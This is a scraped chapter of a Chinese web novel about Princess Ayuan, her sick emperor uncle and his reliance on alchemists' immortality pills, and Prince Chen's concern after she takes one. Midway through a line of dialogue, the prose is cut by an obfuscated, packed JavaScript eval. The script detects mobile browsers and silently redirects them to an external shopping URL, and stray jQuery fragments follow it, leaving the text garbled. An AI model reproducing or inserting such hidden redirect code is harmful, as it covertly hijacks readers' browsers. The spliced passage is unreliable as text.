文趣网 > 都市小说 > 表妹万岁 > 9. 长生
    阿元原本应该生在四月,许多春花盛开,朝阳公主满心欢喜,靠在皇太后的身上,期盼道:“等小元一睁开眼,看见美丽的花,一定会很喜欢我们的人世间。”

    可朝阳受惊早产,阿元生在二月,冰雪化开,青草先长出来。

    朝阳产后抱起新生的女儿,她好乖好乖,依偎在娘亲的怀里,没有一点呼吸。

    公主哀恸大哭,撕心裂肺喊娘,听她一喊,皇太后慌忙将女儿抱住,祖孙三代以同样的姿势紧紧相拥。

    “明明太医一直说,小元很好,是健康活泼的孩子。我和三哥承诺女儿,等她长大,要教她打马球,带她去漠北看星星,怎么会这样?”她不停呼唤,“我的小元,小元......”

    她流着泪,看向母亲,“是不是,她没有见到许多的花,失望了,不喜欢这样的人间。”

    皇太后让宫人从暖房搬来花盆,无数的花,满室生香。公主哭至昏厥,陛下便从妹妹手里接过外甥女来,小心抱在怀中。

    行至牡丹花丛,明月照水,生命的奇迹,小婴孩睁开眼睛。

    阿元见到的第一个人是舅舅。

    蓬莱宫距离朱雀大街、玄武大街都很远,高高在上,位于中州的西北角。

    陛下白日动了怒气,夜间就开始心痛。

    寻唤太医过来,可陛下是愿意吃丹药,而不愿意服药汤的性子。

    阿元亲自熬药,两三个时辰守在炉火前。陛下知晓阿元的孝心才肯服药,倚靠在床头,长发散开,内里是玄色龙纹的寝衣,陛下身高九尺,又因消瘦,样子竟看起来苍老许多。

    阿元跪坐在寝塌上,手握木蓖给舅舅梳头,仔细将白头发都藏起来。

    陛下闭目思索着陈王的事,一时又觉得头痛欲裂,本欲让袁春来去取问仙丹来。问仙丹就是这群方士捣鼓出来的丹药之一。

    耳畔听见阿元的声音,“舅舅”,多么着急担忧。

    陛下摆了摆手,让袁春来退下,同阿元解释:“这吃了药,总没有用。”长叹口气。

    阿元给舅舅缓缓揉着穴道,说话声又轻又柔,“要慢慢来才行,凡事不宜操之过急,还是舅舅教我的。”

    陛下同阿元讲着话,头疼之症稍缓,渐渐睡去。

    等到陛下沉睡之后,阿元才离去,夜半时分,陡生寒意。袁春来送阿元出殿,低声恭维:“郡主的孝心,陛下是知道的。阖宫之中,陛下最信任郡主。”

    阿元披上外袍,并未言语,手中提着一盏琉璃荷叶宫灯,沿着长长的廊道往外走去,为近前侍奉舅舅,发髻上一点珠翠也没有,穿着也十分素净。

    宝琉辇车侯在殿外,周身雪白色的牡丹花簇拥,香纱珠帘,花瓣轮轴,宫女衣袂飘飘。

    太清神宫与灿珠宫之间隔着小瀛洲,夜里荷花的气味又香又腻,凉风吹动珠帘。路过小瀛洲时,灯火照映,阿元看着满池的荷花,心中想,在这世上,如果再失去舅舅,她将一无所有。

    陛下一病便病了月余,心情越来越烦躁,药汤喝了之后,昏昏沉沉,病却怎么也好不了。

    人生病时,总爱做梦,梦回从前。陛下愈发喜怒无常,有时笑着和阿元讲起:“我领兵收复南梁,不过离家一年半,归来在母亲身边看见一个小女娃,梳着双髻,眼也不眨的盯着我看。”陛下脸上难得有了笑容,“那便是你的阿娘。母亲给我生了一个妹妹,不好意思同我讲,推托给你外祖父,他得意洋洋写了好几封信。太长,太啰嗦。我却没多少耐心,根本懒得看。”

    陛下双眸含笑,平和宁静。

    “妹妹十分懒惫,走路至多走两步,话也不会讲。我从终南山巡猎,正好捡到两只白虎幼崽,送给妹妹。妹妹很喜欢,虎崽活泼,爱在花丛中扑蝴蝶,妹妹去追,慢慢学会走路。再过两三年,白虎长大,她仍懒得走路,小小的一团,喜欢枕在老虎肚子上睡觉,力气却不小,总拔白虎上的尾巴毛。”

    陛下轻笑,“只是白虎长得极大,母亲怕伤人,恰好西境进贡一对雪白的鸳鸯眼狮子猫,大猫换成小猫,白虎送回山林里,妹妹伤心许久。”

    这是他的妹妹,身上流着与他同样的血肉,让他感到很亲近。

    阿元没见过白虎,却知道那两只狮子猫,一只做了雪里将军,一只被封为福妙郡主,在宫里翘着尾巴横行霸道。

    梨姑讲阿娘生病的那一年,雪里将军冬日里抓鱼,吃坏了肚子,病死了,阿娘伤心不已。福妙陪着阿元长大,前些年老死在一片牡丹花丛里。舅舅将两只猫金棺厚葬,葬在公主的陵墓旁。

    但大多数时候,陛下阴沉着脸,威严又肃穆。佩剑竖在床头,陛下抬手便能拔出剑鞘。殿中除了帝王的降真香,总有一股血腥气。

    无人不敬畏,无人不恐惧。只有阿元会一直在陪舅舅身边,永远如此。

    阿元拿起陈王的奏疏念给舅舅听,五表哥带来的大多是好消息。

    烛火摇曳,数名宫人、侍卫站在宝屏之外,寝殿内帷只有阿元和舅舅,陛下神情不怒不喜。

    他已老迈而体弱,但有十多个儿子,年轻强壮,野心勃勃。金色祥云龙纹的床幔散落,陛下极高大的身体靠在床头,帝王垂目,似有些疲倦,“阿元,舅舅心里闷得很。”

    阿元闻言,立时泪如雨下,心中疼痛不止,将脑袋枕在帝王手边。

    陛下的目光怜惜,唯有面对阿元,会有这般温柔的注视,轻轻抚摸着阿元散落的发丝。阿元天生好头发,外祖母说是像外祖父,只是阿元喜欢安静,更像外祖母和舅舅,外祖父和阿娘都是闹腾活波的性子。

    “舅舅多休息,好好吃药,病很快就好了。”阿元安慰舅舅。

    “我老了,吃这些药是治不好的。”陛下语气里难掩无奈。

    可舅舅是天子,天子难道不是无所不能的吗?

    陛下很固执,不再肯听阿元的劝诫,再熬来汤药来,也不愿意服用,太清神宫里又烧制起仙丹,更多的方士入宫来,降真香的味道熏满整座宫室。

    方士进献名为“长生”的丹药,陛下服下之后,不知是什么效用,第二日便能下地行走,耳目清明。

    陛下大善,他并不是吝啬的君王,一连下发十几个封赏。

    阿元日夜焚心,发起高热,陛下责怪太医无用。方士向郡主进献仙丹,陛下却无论如何也不敢给阿元服用。

    陛下这样英明的天子,一时也悔愧不已,彻夜守在阿元身边。阿元见舅舅忧心,很快想明白,舅舅想做什么就做什么好了,已经有那么多臣子反对他,舅舅心中本来就烦闷,自己再去劝诫舅舅,舅舅岂不更觉得孤独寂寥?

    正值陈王返京,陛下在神宫乌金殿召见陈王。

    阿元醒来,遣宫女取来长生仙丹,张口服下,原来丹药的味道也并不好吃,依旧是涩涩的苦味。

    陛下闻讯赶来,阿元掀开榴花金帐,轻轻抓住舅舅的袖口,仰头望着他,“舅舅既做仙人,也千

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585120|205206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    万不要留阿元一个人,阿元想一直陪伴舅舅。”

    陛下站在床前,许久未发一语。

    侍奉阿元的太医,是神医的大弟子林培风。阿元小的时候生病,太医院束手无策,外祖父特意从江湖武林中请来隐退的神医,神医不愿久居皇城,只将弟子留下。

    阿元的病情,他是最了解的,诊完平安脉,满心愁虑。诸王中,陈王与郡主也算亲近,恰逢陈王入宫见天子,林培风急忙赶来拜会。

    陈王从太清神宫中出来,方才内侍来报,他也听到了,可表妹身居内宫,他竟连探望表妹的资格也没有。

    林培风上前行礼,“陈王殿下,请借一步说话。”

    在宫中是没有秘密的,所有人的一言一行都在陛下的耳目中。

    涂抹金粉的宫墙上有一枝跃出墙头的桃蕊,林培风说及丹药一事,“那丹药性火,短期服用确有奇效,而郡主体寒,一旦服用,两极相克,如毒药一般在体内沉积。”他语气怅然,“郡主的性子与陛下太像了,臣无计可施,还请陈王殿下想办法劝一劝郡主。”

    陈王听罢,神色凝重。

    林培风望向墙头生机勃勃的桃蕊,尽管极力隐忍,语气难掩悲伤,“任何激烈、炙热的东西,都不宜郡主。”

    这样的话,他也曾告知陛下,“郡主的命数,天生如此,哪怕极力挽救,也逃不了天命。”

    他从来没见过陛下那样悲伤哀恸的神情,临了,长长叹气。

    陈王府在玄武大街上,是从前郡王的府邸。他成年只封一个郡王,初封陇西,后封益州,励精图治,数年前在图尔河之战打了胜仗,这才得封亲王的爵位。这次从河州立功回京,宫中封赏众多,陛下让他主持兵部、工部事宜,一时风头远在楚王之上。

    离家半载,一回王府,妻妾儿女都候在大门前。

    王妃高氏是废后郑氏的外甥女,是从前郑后安排的姻缘。南地世族向来倨傲,高氏自诩身份高贵,舍不得嫡亲的女儿,那时谁也瞧不上皇五子,偷嫁一个庶女过来。陈王恼怒不已,因而待王妃十分冷淡。

    府中另有侧妃、妾室数名,共有五子三女。侧妃季氏容貌姝丽,向来最受宠爱,生有一子一女,小县主音音活波可爱,“爹爹,你给我带礼物没有?”

    陈王最疼爱这个女儿,轻言细语道:“爹爹给你带了一个风车。”

    音音欢呼起来,“那我哥哥呢?爹爹给哥哥带礼物没有?”

    “音音,不许胡闹。”季妃出声阻止,身边站着一个四五岁的小男孩,端持聪慧,朝陈王行礼,露出笑容,“父王!”

    离府时妾室柳氏正怀有身孕,此时抱着襁褓中的幼子,盈盈行礼,“殿下。”

    一家人用过晚膳,陈王念及表妹的病情,心中沉郁。阿元是朝阳姑姑唯一的女儿,从前姑姑生病的时候,他和三哥去探望姑姑,向姑姑许诺,一定照顾好表妹。

    女儿音音问:“爹爹在想什么?”

    陈王抚摸音音的丫髻,“我在想你姑姑。她生了病,不知道好些没有?”

    三子李熤道:“是蓬莱宫里的姑姑吗?我听大伯父家的叡哥哥说,她生得很美,心地又好,像是观音菩萨。”

    音音不同意,“我听到的和哥哥听的不一样,说姑姑是女修罗呢!”陈王严肃道:“不可胡说。”

    音音并不怕爹爹,捂嘴笑出声。

    陈王一夜未眠,忧心表妹。他想,表妹怎么这么傻?